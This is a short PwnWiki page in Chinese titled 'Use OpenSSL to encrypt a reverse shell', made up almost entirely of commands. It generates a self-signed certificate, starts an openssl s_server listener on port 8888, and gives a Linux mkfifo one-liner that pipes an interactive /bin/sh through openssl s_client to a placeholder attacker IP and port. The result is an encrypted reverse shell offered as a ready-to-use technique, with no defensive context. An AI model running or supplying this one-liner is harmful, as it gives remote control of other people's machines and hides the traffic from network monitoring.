使用OpenSsl加密反彈shell

From PwnWiki
Revision as of 17:44, 16 March 2021 by Pwnwiki (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:
Chinese • ‎English • ‎中文(台灣)‎ • ‎中文(简体)‎

生成自簽名證書

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

服務端監聽8888端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

Linux下使用mkfifo進行反彈shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s